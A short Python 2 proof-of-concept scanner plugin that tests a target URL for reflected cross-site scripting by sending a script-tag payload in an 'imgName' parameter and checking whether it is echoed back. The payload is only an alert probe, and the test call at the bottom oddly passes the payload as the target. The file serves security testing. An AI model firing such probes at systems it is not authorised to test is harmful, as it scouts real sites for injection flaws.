#coding:utf-8

import requests
from poc import Poc
import json

class Test_xss(Poc):

	def scan(self, target):
		#http://www.xxx.com?.php&imName=xxxx
		p = {"imgName":"/><script>alert(1)</script><"}
		try:
			r = requests.get(target, params=p)
		except:
			return False

		if  r.content.find("/><script>alert(1)</script><") != -1:
			return True
		return False


if __name__ == '__main__':
	test =Test_xss()
	print test.scan("/><script>alert(1)</script>")
